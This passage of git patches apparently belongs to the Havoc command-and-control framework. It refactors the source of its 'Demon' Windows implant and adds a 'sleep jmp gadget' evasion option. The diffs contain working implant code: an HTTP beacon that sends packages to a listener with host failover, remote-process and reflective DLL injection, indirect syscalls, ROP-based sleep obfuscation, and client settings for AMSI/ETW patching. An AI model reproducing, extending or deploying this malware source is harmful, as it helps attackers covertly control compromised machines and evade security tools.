PRINTF_DONT_SEND( "Using proxy %ls\n", ProxyInfo.lpszProxy ); } @@ -220,9 +227,7 @@ BOOL HttpSend( PBUFFER Send, PBUFFER Response ) Instance.ProxyForUrl = Instance.Win32.LocalAlloc( LPTR, Instance.SizeOfProxyForUrl ); MemCopy( Instance.ProxyForUrl, &ProxyInfo, Instance.SizeOfProxyForUrl ); } - } - else - { + } else { // IE is set to "automatically detect settings" // ignore this as we already tried } @@ -232,87 +237,85 @@ BOOL HttpSend( PBUFFER Send, PBUFFER Response ) Instance.LookedForProxy = TRUE; } - if ( Instance.ProxyForUrl ) - { - if ( ! Instance.Win32.WinHttpSetOption( hRequest, WINHTTP_OPTION_PROXY, Instance.ProxyForUrl, Instance.SizeOfProxyForUrl ) ) - { + if ( Instance.ProxyForUrl ) { + if ( ! Instance.Win32.WinHttpSetOption( Request, WINHTTP_OPTION_PROXY, Instance.ProxyForUrl, Instance.SizeOfProxyForUrl ) ) { PRINTF_DONT_SEND( "WinHttpSetOption: Failed => %d\n", NtGetLastError() ); } } /* Send package to our listener */ - if ( Instance.Win32.WinHttpSendRequest( hRequest, NULL, 0, Send->Buffer, Send->Length, Send->Length, 0 ) ) - { - if ( Instance.Win32.WinHttpReceiveResponse( hRequest, NULL ) ) - { + if ( Instance.Win32.WinHttpSendRequest( Request, NULL, 0, Send->Buffer, Send->Length, Send->Length, 0 ) ) { + if ( Instance.Win32.WinHttpReceiveResponse( Request, NULL ) ) { /* Is the server recognizing us ? are we good ? */ - if ( HttpQueryStatus( hRequest) != HTTP_STATUS_OK ) - { + if ( HttpQueryStatus( Request ) != HTTP_STATUS_OK ) { PUTS_DONT_SEND( "HttpQueryStatus Failed: Is not HTTP_STATUS_OK (200)" ) Successful = FALSE; goto LEAVE; } - if ( Response ) - { + if ( Resp ) { RespBuffer = NULL; - do - { - Successful = Instance.Win32.WinHttpReadData( hRequest, Buffer, sizeof( Buffer ), &BufRead ); - if ( ! Successful || BufRead == 0 ) - { + + // + // read the entire response into the Resp BUFFER + // + do { + Successful = Instance.Win32.WinHttpReadData( Request, Buffer, sizeof( Buffer ), &BufRead ); + if ( ! Successful || BufRead == 0 ) { break; } - if ( ! RespBuffer ) + if ( ! RespBuffer ) { RespBuffer = Instance.Win32.LocalAlloc( LPTR, BufRead ); - else + } else { RespBuffer = Instance.Win32.LocalReAlloc( RespBuffer, RespSize + BufRead, LMEM_MOVEABLE | LMEM_ZEROINIT ); + } RespSize += BufRead; MemCopy( RespBuffer + ( RespSize - BufRead ), Buffer, BufRead ); MemSet( Buffer, 0, sizeof( Buffer ) ); - } while ( Successful == TRUE ); - Response->Length = RespSize; - Response->Buffer = RespBuffer; + Resp->Length = RespSize; + Resp->Buffer = RespBuffer; Successful = TRUE; } } - } - else - { - if ( NtGetLastError() == 12029 ) // ERROR_INTERNET_CANNOT_CONNECT + } else { + if ( NtGetLastError() == ERROR_INTERNET_CANNOT_CONNECT ) { Instance.Session.Connected = FALSE; + } + PRINTF_DONT_SEND( "HTTP Error: %d\n", NtGetLastError() ) - Successful = FALSE; - goto LEAVE; } - LEAVE: - if ( hConnect ) - Instance.Win32.WinHttpCloseHandle( hConnect ); +LEAVE: + if ( Connect ) { + Instance.Win32.WinHttpCloseHandle( Connect ); + } - if ( hRequest ) - Instance.Win32.WinHttpCloseHandle( hRequest ); + if ( Request ) { + Instance.Win32.WinHttpCloseHandle( Request ); + } - if ( ProxyConfig.lpszProxy ) + if ( ProxyConfig.lpszProxy ) { Instance.Win32.GlobalFree( ProxyConfig.lpszProxy ); + } - if ( ProxyConfig.lpszProxyBypass ) + if ( ProxyConfig.lpszProxyBypass ) { Instance.Win32.GlobalFree( ProxyConfig.lpszProxyBypass ); + } - if ( ProxyConfig.lpszAutoConfigUrl ) + if ( ProxyConfig.lpszAutoConfigUrl ) { Instance.Win32.GlobalFree( ProxyConfig.lpszAutoConfigUrl ); + } /* re-impersonate the token */ TokenImpersonate( TRUE ); - if ( ! Successful ) - { + if ( ! Successful ) { /* if we hit our max then we use our next host */ Instance.Config.Transport.Host = HostFailure( Instance.Config.Transport.Host ); } @@ -320,34 +323,45 @@ BOOL HttpSend( PBUFFER Send, PBUFFER Response ) return Successful; } -/* Query status code from our server response */ -DWORD HttpQueryStatus( HANDLE hRequest ) -{ +/*! + * @brief + * Query the Http Status code from the request response. + * + * @param hRequest + * request handle + * + * @return + * Http status code + */ +DWORD HttpQueryStatus( + _In_ HANDLE Request +) { DWORD StatusCode = 0; DWORD StatusSize = sizeof( DWORD ); if ( Instance.Win32.WinHttpQueryHeaders( - hRequest, - WINHTTP_QUERY_STATUS_CODE | WINHTTP_QUERY_FLAG_NUMBER, - WINHTTP_HEADER_NAME_BY_INDEX, - &StatusCode, &StatusSize, WINHTTP_NO_HEADER_INDEX - ) - ) - { + Request, + WINHTTP_QUERY_STATUS_CODE | WINHTTP_QUERY_FLAG_NUMBER, + WINHTTP_HEADER_NAME_BY_INDEX, + &StatusCode, + &StatusSize, + WINHTTP_NO_HEADER_INDEX + ) ) { return StatusCode; } return 0; } -PHOST_DATA HostAdd( LPWSTR Host, SIZE_T Size, DWORD Port ) +PHOST_DATA HostAdd( + _In_ LPWSTR Host, SIZE_T Size, DWORD Port ) { PRINTF_DONT_SEND( "Host -> Host:[%ls] Size:[%ld] Port:[%ld]\n", Host, Size, Port ); PHOST_DATA HostData = NULL; - HostData = NtHeapAlloc( sizeof( HOST_DATA ) ); - HostData->Host = NtHeapAlloc( Size + sizeof( WCHAR ) ); + HostData = MmHeapAlloc( sizeof( HOST_DATA ) ); + HostData->Host = MmHeapAlloc( Size + sizeof( WCHAR ) ); HostData->Port = Port; HostData->Dead = FALSE; HostData->Next = Instance.Config.Transport.Hosts; diff --git a/payloads/Demon/src/core/TransportSmb.c b/payloads/Demon/src/core/TransportSmb.c index 4ffdeb9..549ffde 100644 --- a/payloads/Demon/src/core/TransportSmb.c +++ b/payloads/Demon/src/core/TransportSmb.c @@ -177,7 +177,7 @@ VOID SmbSecurityAttrOpen( PSMB_PIPE_SEC_ATTR SmbSecAttr, PSECURITY_ATTRIBUTES Se } PRINTF( "sidLow: %p\n", SmbSecAttr->SidLow ); - SmbSecAttr->SAcl = NtHeapAlloc( MAX_PATH ); + SmbSecAttr->SAcl = MmHeapAlloc( MAX_PATH ); if ( ! Instance.Win32.InitializeAcl( SmbSecAttr->SAcl, MAX_PATH, ACL_REVISION_DS ) ) { PRINTF( "InitializeAcl failed: %u\n", NtGetLastError() ); @@ -189,7 +189,7 @@ VOID SmbSecurityAttrOpen( PSMB_PIPE_SEC_ATTR SmbSecAttr, PSECURITY_ATTRIBUTES Se } // now build the descriptor - SmbSecAttr->SecDec = NtHeapAlloc( SECURITY_DESCRIPTOR_MIN_LENGTH ); + SmbSecAttr->SecDec = MmHeapAlloc( SECURITY_DESCRIPTOR_MIN_LENGTH ); if ( ! Instance.Win32.InitializeSecurityDescriptor( SmbSecAttr->SecDec, SECURITY_DESCRIPTOR_REVISION ) ) { PRINTF( "InitializeSecurityDescriptor failed: %u\n", NtGetLastError() ); @@ -226,13 +226,13 @@ VOID SmbSecurityAttrFree( PSMB_PIPE_SEC_ATTR SmbSecAttr ) if ( SmbSecAttr->SAcl ) { - NtHeapFree( SmbSecAttr->SAcl ); + MmHeapFree( SmbSecAttr->SAcl ); SmbSecAttr->SAcl = NULL; } if ( SmbSecAttr->SecDec ) { - NtHeapFree( SmbSecAttr->SecDec ); + MmHeapFree( SmbSecAttr->SecDec ); SmbSecAttr->SecDec = NULL; } } diff --git a/payloads/Demon/src/core/Win32.c b/payloads/Demon/src/core/Win32.c index 9c9704b..8cf531f 100644 --- a/payloads/Demon/src/core/Win32.c +++ b/payloads/Demon/src/core/Win32.c @@ -111,7 +111,7 @@ PVOID LdrModulePebByString( Instance.Teb = NtCurrentTeb(); } - Name = NtHeapAlloc( MAX_PATH ); + Name = MmHeapAlloc( MAX_PATH ); Peb = Instance.Teb->ProcessEnvironmentBlock; Hdr = & Peb->Ldr->InLoadOrderModuleList; @@ -149,7 +149,7 @@ PVOID LdrModulePebByString( if ( Name ) { MemZero( Name, MAX_PATH ); - NtHeapFree( Name ); + MmHeapFree( Name ); Name = NULL; } @@ -865,7 +865,7 @@ NTSTATUS ProcessSnapShot( Length += 0x1000; /* allocate memory */ - *SnapShot = NtHeapAlloc( Length ); + *SnapShot = MmHeapAlloc( Length ); if ( *SnapShot ) { if ( ! NT_SUCCESS( NtStatus = SysNtQuerySystemInformation( SystemProcessInformation, *SnapShot, Length, &Length ) ) ) { PRINTF( "NtQuerySystemInformation Failed: Status[%lx]\n", NtStatus ) @@ -1377,7 +1377,7 @@ VOID SharedSleep( } VOID ShuffleArray( - IN OUT PVOID* array, + _Inout_ PVOID* array, IN SIZE_T n ) { SIZE_T j = 0; diff --git a/payloads/Demon/src/inject/Inject.c b/payloads/Demon/src/inject/Inject.c index 6448614..95b1971 100644 --- a/payloads/Demon/src/inject/Inject.c +++ b/payloads/Demon/src/inject/Inject.c @@ -84,7 +84,7 @@ DWORD Inject( } /* allocate memory in the remote process */ - if ( ! ( Memory = MemoryAlloc( DX_MEM_DEFAULT, Process, Size, PAGE_READWRITE ) ) ) { + if ( ! ( Memory = MmVirtualAlloc( DX_MEM_DEFAULT, Process, Size, PAGE_READWRITE ) ) ) { PUTS( "[INJECT] Failed allocating memory in remote process" ) goto END; } else { @@ -92,7 +92,7 @@ DWORD Inject( } /* write payload into remote process memory */ - if ( ! ( MemoryWrite( Process, Memory, Payload, Size ) ) ) { + if ( ! ( MmVirtualWrite( Process, Memory, Payload, Size ) ) ) { PUTS( "[INJECT] Failed to write payload into remote process" ) goto END; } else { @@ -100,7 +100,7 @@ DWORD Inject( } /* change allocated memory from RW to RX */ - if ( ! ( MemoryProtect( DX_MEM_SYSCALL, Process, Memory, Size, PAGE_EXECUTE_READ ) ) ) { + if ( ! ( MmVirtualProtect( DX_MEM_SYSCALL, Process, Memory, Size, PAGE_EXECUTE_READ ) ) ) { PUTS( "[INJECT] Failed to change memory protection" ) goto END; } else { @@ -111,7 +111,7 @@ DWORD Inject( if ( Argv && ( Argc > 0 ) ) { /* allocate memory in the remote process */ - if ( ! ( Param = MemoryAlloc( DX_MEM_DEFAULT, Process, Argc, PAGE_READWRITE ) ) ) { + if ( ! ( Param = MmVirtualAlloc( DX_MEM_DEFAULT, Process, Argc, PAGE_READWRITE ) ) ) { PUTS( "[INJECT] Failed allocating argument memory in remote process" ) goto END; } else { @@ -119,7 +119,7 @@ DWORD Inject( } /* write payload into remote process memory */ - if ( ! ( MemoryWrite( Process, Param, Argv, Argc ) ) ) { + if ( ! ( MmVirtualWrite( Process, Param, Argv, Argc ) ) ) { PUTS( "[INJECT] Failed to write argument into remote process" ) goto END; } else { @@ -143,13 +143,13 @@ END: { /* free allocated payload */ if ( Memory ) { - MemoryFree( Process, Memory ); + MmVirtualFree( Process, Memory ); Memory = NULL; } /* free allocated param */ if ( Param ) { - MemoryFree( Process, Param ); + MmVirtualFree( Process, Param ); Param = NULL; } } @@ -232,7 +232,7 @@ DWORD DllInjectReflective( HANDLE hTargetProcess, LPVOID DllLdr, DWORD DllLdrSiz PRINTF( "Params: Size:[%d] Pointer:[%p]\n", ParamSize, Parameter ) if ( ParamSize > 0 ) { - MemParamsBuffer = MemoryAlloc( DX_MEM_DEFAULT, hTargetProcess, ParamSize, PAGE_READWRITE ); + MemParamsBuffer = MmVirtualAlloc( DX_MEM_DEFAULT, hTargetProcess, ParamSize, PAGE_READWRITE ); if ( MemParamsBuffer ) { PRINTF( "MemoryAlloc: Success allocated memory for parameters: ptr:[%p]\n", MemParamsBuffer ) @@ -257,7 +257,7 @@ DWORD DllInjectReflective( HANDLE hTargetProcess, LPVOID DllLdr, DWORD DllLdrSiz } // Alloc and write remote library - MemLibraryBuffer = MemoryAlloc( DX_MEM_DEFAULT, hTargetProcess, FullDllSize, PAGE_READWRITE ); + MemLibraryBuffer = MmVirtualAlloc( DX_MEM_DEFAULT, hTargetProcess, FullDllSize, PAGE_READWRITE ); if ( MemLibraryBuffer ) { PUTS( "[+] NtAllocateVirtualMemory: success" ); @@ -272,7 +272,7 @@ DWORD DllInjectReflective( HANDLE hTargetProcess, LPVOID DllLdr, DWORD DllLdrSiz BytesWritten = 0; // NtStatus = Instance.Win32.NtProtectVirtualMemory( hTargetProcess, &MemRegion, &MemRegionSize, PAGE_EXECUTE_READ, &OldProtect ); - if ( MemoryProtect( DX_MEM_SYSCALL, hTargetProcess, MemRegion, MemRegionSize, PAGE_EXECUTE_READ ) ) + if ( MmVirtualProtect( DX_MEM_SYSCALL, hTargetProcess, MemRegion, MemRegionSize, PAGE_EXECUTE_READ ) ) { ctx->Parameter = MemParamsBuffer; PRINTF( "ctx->Parameter: %p\n", ctx->Parameter ) @@ -312,7 +312,7 @@ Cleanup: if ( ! HasRDll && FullDll ) { MemSet( FullDll, 0, FullDllSize ); - NtHeapFree( FullDll ); + MmHeapFree( FullDll ); FullDll = NULL; } diff --git a/payloads/Demon/src/main/MainDll.c b/payloads/Demon/src/main/MainDll.c index 2216f5c..94edb2d 100644 --- a/payloads/Demon/src/main/MainDll.c +++ b/payloads/Demon/src/main/MainDll.c @@ -24,7 +24,7 @@ DLLEXPORT VOID Start( ) DLLEXPORT BOOL WINAPI DllMain( IN HINSTANCE hDllBase, IN DWORD Reason, - IN OUT LPVOID Reserved + _Inout_ LPVOID Reserved ) { PVOID Kernel32 = NULL; From 1cb4152b6391c0ea085a1a1ca212e65c527cd54d Mon Sep 17 00:00:00 2001 From: Cracked5pider Date: Mon, 13 Nov 2023 21:10:45 +0100 Subject: [PATCH 4/8] added 'sleep jmp gadget' to the agent --- client/src/UserInterface/Dialogs/Payload.cc | 12 +- payloads/Demon/CMakeLists.txt | 2 +- payloads/Demon/include/Demon.h | 16 +- payloads/Demon/include/common/Defines.h | 3 + payloads/Demon/include/common/Macros.h | 8 +- payloads/Demon/include/core/Command.h | 1 - payloads/Demon/include/core/Memory.h | 7 + payloads/Demon/include/core/Package.h | 2 +- payloads/Demon/include/core/SleepObf.h | 27 + payloads/Demon/include/core/Spoof.h | 12 +- payloads/Demon/include/core/SysNative.h | 8 +- payloads/Demon/include/core/Syscalls.h | 8 +- payloads/Demon/src/Demon.c | 600 +++++++++--------- payloads/Demon/src/core/CoffeeLdr.c | 42 +- payloads/Demon/src/core/Command.c | 350 +++++----- payloads/Demon/src/core/Dotnet.c | 339 +++++----- payloads/Demon/src/core/Download.c | 66 +- payloads/Demon/src/core/HwBpEngine.c | 30 +- payloads/Demon/src/core/Jobs.c | 54 +- payloads/Demon/src/core/Kerberos.c | 112 ++-- payloads/Demon/src/core/Memory.c | 52 +- payloads/Demon/src/core/MiniStd.c | 2 +- payloads/Demon/src/core/{SleepObf.c => Obf.c} | 360 ++++++----- payloads/Demon/src/core/ObjectApi.c | 54 +- payloads/Demon/src/core/Package.c | 50 +- payloads/Demon/src/core/Parser.c | 4 +- payloads/Demon/src/core/Pivot.c | 76 +-- payloads/Demon/src/core/Runtime.c | 218 +++---- payloads/Demon/src/core/Socket.c | 66 +- payloads/Demon/src/core/Spoof.c | 43 +- payloads/Demon/src/core/Syscalls.c | 4 +- payloads/Demon/src/core/Thread.c | 8 +- payloads/Demon/src/core/Token.c | 190 +++--- payloads/Demon/src/core/Transport.c | 12 +- payloads/Demon/src/core/TransportHttp.c | 156 ++--- payloads/Demon/src/core/TransportSmb.c | 66 +- payloads/Demon/src/core/Win32.c | 212 +++---- payloads/Demon/src/inject/Inject.c | 20 +- teamserver/cmd/server/teamserver.go | 4 +- teamserver/pkg/common/builder/builder.go | 45 ++ 40 files changed, 1715 insertions(+), 1626 deletions(-) rename payloads/Demon/src/core/{SleepObf.c => Obf.c} (65%) diff --git a/client/src/UserInterface/Dialogs/Payload.cc b/client/src/UserInterface/Dialogs/Payload.cc index caf1969..327bc93 100644 --- a/client/src/UserInterface/Dialogs/Payload.cc +++ b/client/src/UserInterface/Dialogs/Payload.cc @@ -478,7 +478,6 @@ auto Payload::DefaultConfig() -> void auto DemonConfig = HavocX::Teamserver.DemonConfig; auto ConfigSleep = new QTreeWidgetItem( TreeConfig ); auto ConfigJitter = new QTreeWidgetItem( TreeConfig ); - auto ConfigServiceName = ( QTreeWidgetItem* ) nullptr; auto ConfigServiceNameInput = ( QLineEdit* ) nullptr; @@ -490,6 +489,7 @@ auto Payload::DefaultConfig() -> void auto ConfigIndirectSyscalls = new QTreeWidgetItem( TreeConfig ); auto ConfigSleepStackSpoof = new QTreeWidgetItem( TreeConfig ); auto ConfigSleepObfTechnique = new QTreeWidgetItem( TreeConfig ); + auto ConfigSleepJmpBypass = new QTreeWidgetItem( TreeConfig ); auto ConfigProxyLoading = new QTreeWidgetItem( TreeConfig ); auto ConfigAmsiEtwPatch = new QTreeWidgetItem( TreeConfig ); auto ConfigInjection = new QTreeWidgetItem( TreeConfig ); @@ -497,14 +497,15 @@ auto Payload::DefaultConfig() -> void auto ConfigInjectionExecute = new QTreeWidgetItem( ConfigInjection ); auto ConfigInjectionSpawn64 = new QTreeWidgetItem( ConfigInjection ); auto ConfigInjectionSpawn32 = new QTreeWidgetItem( ConfigInjection ); - auto SleepObfTechnique = new QComboBox; - auto SleepObfSpoofAddress = new QLineEdit; auto Jitter = DemonConfig[ "Jitter" ].toInt(); if ( Jitter < 0 || Jitter > 100 ) { Jitter = 0; } + auto SleepObfTechnique = new QComboBox; + auto SleepObfJmpBypass = new QComboBox; + auto SleepObfSpoofAddress = new QLineEdit; auto ConfigSleepLineEdit = new QLineEdit( QString::number( DemonConfig[ "Sleep" ].toInt() ) ); auto ConfigJitterLineEdit = new QLineEdit( QString::number( Jitter ) ); auto ConfigIndSyscallCheck = new QCheckBox; @@ -534,6 +535,7 @@ auto Payload::DefaultConfig() -> void ConfigProxyLoading->setFlags( Qt::NoItemFlags ); ConfigAmsiEtwPatch->setFlags( Qt::NoItemFlags ); ConfigSleepObfTechnique->setFlags( Qt::NoItemFlags ); + ConfigSleepJmpBypass->setFlags( Qt::NoItemFlags ); ConfigSleepStackSpoof->setFlags( Qt::NoItemFlags ); ConfigInjectionSpawn64->setFlags( Qt::NoItemFlags ); ConfigInjectionSpawn32->setFlags( Qt::NoItemFlags ); @@ -547,6 +549,7 @@ auto Payload::DefaultConfig() -> void ConfigSpawn64LineEdit->setObjectName( "ConfigItem" ); ConfigSpawn32LineEdit->setObjectName( "ConfigItem" ); SleepObfTechnique->setObjectName( "ConfigItem" ); + SleepObfJmpBypass->setObjectName( "ConfigItem" ); SleepObfSpoofAddress->setObjectName( "ConfigItem" ); ProxyLoading->setObjectName( "ConfigItem" ); AmsiEtwPatch->setObjectName( "ConfigItem" ); @@ -554,6 +557,7 @@ auto Payload::DefaultConfig() -> void ConfigIndSyscallCheck->setChecked( DefaultIndSyscallCheck ); ConfigStackSpoof->setChecked( DefaultStackDuplication ); + SleepObfJmpBypass->addItems( QStringList() << "None" << "jmp rax" << "jmp rbx" ); ConfigInjectAlloc->addItems( QStringList() << "Win32" << "Native/Syscall" ); ConfigInjectExecute->addItems( QStringList() << "Win32" << "Native/Syscall" ); SleepObfTechnique->addItems( QStringList() << "WaitForSingleObjectEx" << "Foliage" << "Ekko" << "Zilean" ); @@ -596,6 +600,7 @@ auto Payload::DefaultConfig() -> void } TreeConfig->setItemWidget( ConfigIndirectSyscalls, 1, ConfigIndSyscallCheck ); TreeConfig->setItemWidget( ConfigSleepObfTechnique,1, SleepObfTechnique ); + TreeConfig->setItemWidget( ConfigSleepJmpBypass, 1, SleepObfJmpBypass ); TreeConfig->setItemWidget( ConfigSleepStackSpoof, 1, ConfigStackSpoof ); TreeConfig->setItemWidget( ConfigProxyLoading, 1, ProxyLoading ); TreeConfig->setItemWidget( ConfigAmsiEtwPatch, 1, AmsiEtwPatch ); @@ -614,6 +619,7 @@ auto Payload::DefaultConfig() -> void ConfigIndirectSyscalls->setText( 0, "Indirect Syscall" ); ConfigSleepObfTechnique->setText( 0, "Sleep Technique" ); + ConfigSleepJmpBypass->setText( 0, "Sleep Jmp Gadget" ); ConfigSleepStackSpoof->setText( 0, "Stack Duplication" ); ConfigProxyLoading->setText( 0, "Proxy Loading" ); ConfigAmsiEtwPatch->setText( 0, "Amsi/Etw Patch" ); diff --git a/payloads/Demon/CMakeLists.txt b/payloads/Demon/CMakeLists.txt index 3412e6c..c284d21 100644 --- a/payloads/Demon/CMakeLists.txt +++ b/payloads/Demon/CMakeLists.txt @@ -17,7 +17,7 @@ set( COMMON_SOURCE src/core/MiniStd.c src/core/Token.c src/core/Package.c - src/core/SleepObf.c + src/core/Obf.c src/core/Spoof.c src/core/Syscalls.c src/core/SysNative.c diff --git a/payloads/Demon/include/Demon.h b/payloads/Demon/include/Demon.h index 5213d1b..188ab51 100644 --- a/payloads/Demon/include/Demon.h +++ b/payloads/Demon/include/Demon.h @@ -88,12 +88,13 @@ typedef struct DWORD Jitter; struct { + UINT64 KillDate; + UINT32 WorkingHours; + #ifdef TRANSPORT_HTTP PHOST_DATA Host; /* current using host */ PHOST_DATA Hosts; /* host linked list */ UINT32 NumHosts; - UINT64 KillDate; - UINT32 WorkingHours; LPWSTR Method; /* TODO: use WCHAR[4] instead of LPWSTR. */ SHORT HostRotation; DWORD HostIndex; @@ -114,13 +115,12 @@ typedef struct #ifdef TRANSPORT_SMB LPSTR Name; /* TODO: change type to BUFFER */ HANDLE Handle; - UINT64 KillDate; - UINT32 WorkingHours; #endif } Transport; struct _CONFIG { - DWORD SleepMaskTechnique; + ULONG SleepMaskTechnique; + ULONG SleepJmpBypass; BOOL StackSpoof; BOOL SysIndirect; BYTE ProxyLoading; @@ -129,7 +129,7 @@ typedef struct PVOID ThreadStartAddr; BOOL CoffeeThreaded; BOOL CoffeeVeh; - DWORD DownloadChunkSize; + ULONG DownloadChunkSize; } Implant; struct { @@ -554,9 +554,9 @@ typedef struct PCOFFEE_KEY_VALUE CoffeKeyValueStore; PHWBP_ENGINE HwBpEngine; -} INSTANCE; +} INSTANCE, *PINSTANCE; -extern INSTANCE Instance; +extern PINSTANCE Instance; VOID DemonMain( PVOID ModuleInst, PKAYN_ARGS KArgs ); VOID DemonRoutine( ); diff --git a/payloads/Demon/include/common/Defines.h b/payloads/Demon/include/common/Defines.h index 50e152a..23a3ac4 100644 --- a/payloads/Demon/include/common/Defines.h +++ b/payloads/Demon/include/common/Defines.h @@ -28,6 +28,9 @@ #define WIN_VERSION_10 10 #define WIN_VERSION_2016_X 11 +#define LDR_GADGET_MODULE_SIZE ( 0x1000 * 0x1000 ) +#define LDR_GADGET_HEADER_SIZE ( 0x1000 ) + #define PROXYLOAD_NONE 0 #define PROXYLOAD_RTLREGISTERWAIT 1 #define PROXYLOAD_RTLCREATETIMER 2 diff --git a/payloads/Demon/include/common/Macros.h b/payloads/Demon/include/common/Macros.h index 6eda19a..2d87ef3 100644 --- a/payloads/Demon/include/common/Macros.h +++ b/payloads/Demon/include/common/Macros.h @@ -12,18 +12,18 @@ #define NT_SUCCESS(Status) ( ( ( NTSTATUS ) ( Status ) ) >= 0 ) #define NtCurrentProcess() ( ( HANDLE ) ( LONG_PTR ) - 1 ) #define NtCurrentThread() ( ( HANDLE ) ( LONG_PTR ) - 2 ) -#define NtGetLastError() Instance.Teb->LastErrorValue -#define NtSetLastError(x) Instance.Teb->LastErrorValue = x +#define NtGetLastError() Instance->Teb->LastErrorValue +#define NtSetLastError(x) Instance->Teb->LastErrorValue = x /* Heap allocation functions */ -#define NtProcessHeap() Instance.Teb->ProcessEnvironmentBlock->ProcessHeap +#define NtProcessHeap() Instance->Teb->ProcessEnvironmentBlock->ProcessHeap #define DLLEXPORT __declspec( dllexport ) #define RVA( TYPE, DLLBASE, RVA ) ( TYPE ) ( ( PBYTE ) DLLBASE + RVA ) #define DATA_FREE( d, l ) \ if ( d ) { \ MemSet( d, 0, l ); \ - Instance.Win32.LocalFree( d ); \ + Instance->Win32.LocalFree( d ); \ d = NULL; \ } diff --git a/payloads/Demon/include/core/Command.h b/payloads/Demon/include/core/Command.h index e2f0e60..c28f37e 100644 --- a/payloads/Demon/include/core/Command.h +++ b/payloads/Demon/include/core/Command.h @@ -3,7 +3,6 @@ #include - /* Commands */ #define DEMON_COMMAND_CHECKIN 100 #define DEMON_COMMAND_GET_JOB 1 diff --git a/payloads/Demon/include/core/Memory.h b/payloads/Demon/include/core/Memory.h index 6f80e91..21c928c 100644 --- a/payloads/Demon/include/core/Memory.h +++ b/payloads/Demon/include/core/Memory.h @@ -50,6 +50,13 @@ BOOL MmVirtualFree( OUT PVOID Memory ); +PVOID MmGadgetFind( + _In_ PVOID Memory, + _In_ SIZE_T Length, + _In_ PVOID PatternBuffer, + _In_ SIZE_T PatternLength +); + BOOL FreeReflectiveLoader( IN PVOID BaseAddress ); diff --git a/payloads/Demon/include/core/Package.h b/payloads/Demon/include/core/Package.h index 69e335a..f73b82c 100644 --- a/payloads/Demon/include/core/Package.h +++ b/payloads/Demon/include/core/Package.h @@ -100,6 +100,6 @@ VOID PackageTransmitError( ); #define PACKAGE_ERROR_WIN32 PackageTransmitError( CALLBACK_ERROR_WIN32, NtGetLastError() ); -#define PACKAGE_ERROR_NTSTATUS( s ) PackageTransmitError( CALLBACK_ERROR_WIN32, Instance.Win32.RtlNtStatusToDosError( s ) ); +#define PACKAGE_ERROR_NTSTATUS( s ) PackageTransmitError( CALLBACK_ERROR_WIN32, Instance->Win32.RtlNtStatusToDosError( s ) ); #endif diff --git a/payloads/Demon/include/core/SleepObf.h b/payloads/Demon/include/core/SleepObf.h index 4eebf71..01b937a 100644 --- a/payloads/Demon/include/core/SleepObf.h +++ b/payloads/Demon/include/core/SleepObf.h @@ -9,6 +9,33 @@ #define SLEEPOBF_ZILEAN 0x2 #define SLEEPOBF_FOLIAGE 0x3 +#define SLEEPOBF_BYPASS_NONE 0 +#define SLEEPOBF_BYPASS_JMPRAX 0x1 +#define SLEEPOBF_BYPASS_JMPRBX 0x2 + +#define OBF_JMP( i, p ) \ + if ( JmpBypass == SLEEPOBF_BYPASS_JMPRAX ) { \ + Rop[ i ].Rax = U_PTR( p ); \ + } if ( JmpBypass == SLEEPOBF_BYPASS_JMPRBX ) { \ + Rop[ i ].Rbx = U_PTR( & p ); \ + } else { \ + Rop[ i ].Rip = U_PTR( p ); \ + } + +typedef struct +{ + DWORD Length; + DWORD MaximumLength; + PVOID Buffer; +} USTRING; + +typedef struct _SLEEP_PARAM +{ + UINT32 TimeOut; + PVOID Master; + PVOID Slave; +} SLEEP_PARAM, *PSLEEP_PARAM; + VOID SleepObf( ); #endif \ No newline at end of file diff --git a/payloads/Demon/include/core/Spoof.h b/payloads/Demon/include/core/Spoof.h index d570546..0a5262c 100644 --- a/payloads/Demon/include/core/Spoof.h +++ b/payloads/Demon/include/core/Spoof.h @@ -9,9 +9,9 @@ typedef struct { - const PVOID trampoline; - PVOID function; - PVOID rbx; + PVOID Trampoline; + PVOID Function; + PVOID Rbx; } PRM, *PPRM; static ULONG_PTR Spoof(); @@ -30,9 +30,9 @@ static ULONG_PTR Spoof(); #define SpoofFunc(...) SPOOF_MACRO_CHOOSER(__VA_ARGS__)(__VA_ARGS__) PVOID SpoofRetAddr( - IN PVOID Module, - IN ULONG Size, - IN HANDLE Function, + _In_ PVOID Module, + _In_ ULONG Size, + _In_ HANDLE Function, _Inout_ PVOID a, _Inout_ PVOID b, _Inout_ PVOID c, diff --git a/payloads/Demon/include/core/SysNative.h b/payloads/Demon/include/core/SysNative.h index a2fb18a..94292e9 100644 --- a/payloads/Demon/include/core/SysNative.h +++ b/payloads/Demon/include/core/SysNative.h @@ -10,13 +10,13 @@ #endif #define SYSCALL_INVOKE( SYS_NAME, ... ) \ - if ( Instance.Config.Implant.SysIndirect && Instance.Syscall.SysAddress && Instance.Syscall.SYS_NAME ) { \ - SysConfig.Ssn = Instance.Syscall.SYS_NAME; \ - SysConfig.Adr = Instance.Syscall.SysAddress; \ + if ( Instance->Config.Implant.SysIndirect && Instance->Syscall.SysAddress && Instance->Syscall.SYS_NAME ) { \ + SysConfig.Ssn = Instance->Syscall.SYS_NAME; \ + SysConfig.Adr = Instance->Syscall.SysAddress; \ SysSetConfig( &SysConfig ); \ NtStatus = SysInvoke( __VA_ARGS__ ); \ } else { \ - NtStatus = Instance.Win32.SYS_NAME( __VA_ARGS__ ); \ + NtStatus = Instance->Win32.SYS_NAME( __VA_ARGS__ ); \ } \ PRINTF( "%s( ... ) = %08x\n", #SYS_NAME, NtStatus ) diff --git a/payloads/Demon/include/core/Syscalls.h b/payloads/Demon/include/core/Syscalls.h index c0931d3..6b14618 100644 --- a/payloads/Demon/include/core/Syscalls.h +++ b/payloads/Demon/include/core/Syscalls.h @@ -19,14 +19,14 @@ #endif #define SYS_EXTRACT( NtName ) \ - if ( Instance.Win32.NtName ) { \ + if ( Instance->Win32.NtName ) { \ SysExtract( \ - Instance.Win32.NtName, \ + Instance->Win32.NtName, \ TRUE, \ - &Instance.Syscall.NtName, \ + &Instance->Syscall.NtName, \ NULL \ ); \ - PRINTF( "Extracted \"%s\": [Ssn: %x] Ptr:[%p]\n", #NtName, Instance.Syscall.NtName, Instance.Win32.NtName ) \ + PRINTF( "Extracted \"%s\": [Ssn: %x] Ptr:[%p]\n", #NtName, Instance->Syscall.NtName, Instance->Win32.NtName ) \ } typedef struct _SYS_CONFIG { diff --git a/payloads/Demon/src/Demon.c b/payloads/Demon/src/Demon.c index c1fe9c5..84b0edd 100644 --- a/payloads/Demon/src/Demon.c +++ b/payloads/Demon/src/Demon.c @@ -19,8 +19,8 @@ #include /* Global Variables */ -SEC_DATA INSTANCE Instance = { 0 }; 